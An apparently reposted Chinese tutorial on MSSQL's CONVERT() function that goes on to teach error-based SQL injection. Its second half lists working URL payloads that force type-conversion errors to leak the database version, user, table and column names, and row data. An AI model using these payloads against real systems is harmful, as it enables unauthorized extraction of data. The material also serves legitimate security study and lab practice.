显式类型转换

admin 2025年4月11日10:39:28评论5 views字数 2868阅读9分33秒阅读模式

本公众号提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;

本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。

一、CONVERT()函数介绍

  • 功能
    • 在Mssql中CONVERT()函数是把日期转换为新数据类型的通用函数。
    • CONVERT()函数可以用不同的格式显示日期/时间数据。
  • 语法:
CONVERT(data_type(length),expression,style)

data_type(length)

规定目标数据类型(带有可选的长度)。

expression

规定需要转换的值。

style

规定日期/时间的输出格式。

  • style值及其对应的日期和时间格式
    • Style ID:用于指定日期和/或时间值的具体输出格式。不同的数字代表不同的日期和时间格式。例如,101表示美国常用的mm/dd/yyyy格式,而112则表示紧凑型的yyyymmdd格式。
    • 通过指定合适的Style ID,可以控制日期和时间是如何被转换成字符串的,或者反过来,从字符串解析为日期/时间类型。这在处理不同地区性数据或需要以特定格式展示日期和时间信息时特别有用。例如:
      • 使用Style ID103,日期会被格式化为dd/mm/yy形式。
      • 使用Style ID 120,日期和时间将以yyyy-mm-dd hh:mi:ss(24小时制)的形式显示。

Style ID

Style 格式

描述

100 或 0

mon dd yyyy hh:miAM(或者 PM)

完整日期和12小时制时间,带AM/PM标记

101

mm/dd/yy

美国日期格式,月/日/年

102

yy.mm.dd

年.月.日格式

103

dd/mm/yy

欧洲常见日期格式,日/月/年

104

dd.mm.yy

德国常见日期格式,日.月.年

105

dd-mm-yy

日-月-年格式

106

dd mon yy

日 月份缩写 年

107

Mon dd, yy

月份缩写 日, 年

108

hh:mm:ss

24小时制时间格式

109 或 9

mon dd yyyy hh:mi:ss:mmmAM(或者 PM)

完整日期和时间,含毫秒,12小时制,带AM/PM标记

110

mm-dd-yy

月-日-年格式

111

yy/mm/dd

年/月/日格式

112

yymmdd

紧凑的年月日格式

113 或 13

dd mon yyyy hh:mm:ss:mmm(24h)

完整日期和精确到毫秒的时间,24小时制

114

hh:mi:ss:mmm(24h)

精确到毫秒的时间,24小时制

120 或 20

yyyy-mm-dd hh:mi:ss(24h)

ISO 8601格式日期时间,24小时制

121 或 21

yyyy-mm-dd hh:mi:ss.mmm(24h)

ISO 8601格式日期时间,带毫秒,24小时制

126

yyyy-mm-ddThh:mm:ss.mmm(没有空格)

XML格式的日期时间,不含空格

130

dd mon yyyy hh:mi:ss:mmmAM

完整日期和时间,含毫秒,12小时制,阿拉伯数字格式

131

dd/mm/yy hh:mi:ss:mmmAM

日/月/年 时:分:秒:毫秒,12小时制,带AM标记

  • 用法示例
//输出25SELECT CONVERT(INT25.65);//输出Apr 15 2021 7:59AMSELECT CONVERT(VARCHAR(19),GETDATE())//输出04-15-21SELECT CONVERT(VARCHAR(10),GETDATE(),10)//输出04-15-2021SELECT CONVERT(VARCHAR(10),GETDATE(),110)//输出15 Apr 21SELECT CONVERT(VARCHAR(11),GETDATE(),6)//输出15 Apr 2021SELECT CONVERT(VARCHAR(11),GETDATE(),106)//输出15 Apr 2021 08:03:37:767SELECT CONVERT(VARCHAR(24),GETDATE(),113)

二、报错注入原理

  • CONVERT() 函数在MSSQL中被视为用于显式转换数据类型的函数,是因为它允许用户明确指定将一个表达式从一种数据类型转换为另一种数据类型,这种转换不是自动发生的,而是根据用户的直接指示进行的,因此称为“显式”转换。
  • 触发错误泄露数据:通过将子查询结果作为CONVERT()的输入,并强制转换为不兼容的类型(如字符串转INT),使数据库抛出错误。错误信息中会直接暴露子查询的结果。
  • 比如:
    • select convert(int,@@version)这个语句,convert 函数会先执行第二个参数(@@version)指定的SQL查询,然后尝试将查询结果转换为int类型。
    • 由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出SQL server错误消息,指出“SQL查询结果”无法转换为int类型,此时报错的内容就会带有攻击者所查询的结果。
显式类型转换
  • 通过CONVERT()函数进行报错注入的本质是通过强制类型转换失败,使数据库返回包含敏感数据的错误信息。
  • 拓展:其它同类型函数
file_name() db_name() col_name() filegroup_name()object_name() schema_name() type_name() cast()

三、注入过程

探测注入点

  • 构造一个必然触发类型转换错误的Payload,观察是否返回详细错误信息
?id=1' and 1=convert(int, 'test')--+
显式类型转换

查询数据库版本信息

?id=1' and 1=convert(int,@@version)--+
显式类型转换

查询当前数据库名

?id=1' and 1=convert(int,db_name())--+
显式类型转换

查询当前用户名

?id=1' and 1=convert(int,user)--+
显式类型转换

查询有关服务器主机的信息

?id=1' and 1=convert(int,@@SERVERNAME)--+
显式类型转换

查询当前数据库的表名

//查询当前数据库中所有表名,并提取第1条记录?id=1' and 1=convert(int,(select top 1 name from sysobjects where xtype='u'))--+
显式类型转换

查询表的列名(字段名)

//从uers表中提取第一列的名称?id=1' and 1=convert(int,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')))--+
显式类型转换

查询表数据

//查询username这一列的第二段数据?id=1' and 1=convert(int,(select top 1 username from users where username !='Dumb'))--+
显式类型转换

原文始发于微信公众号(SecurePulse):显式类型转换

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月11日10:39:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   显式类型转换https://cn-sec.com/archives/3942803.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息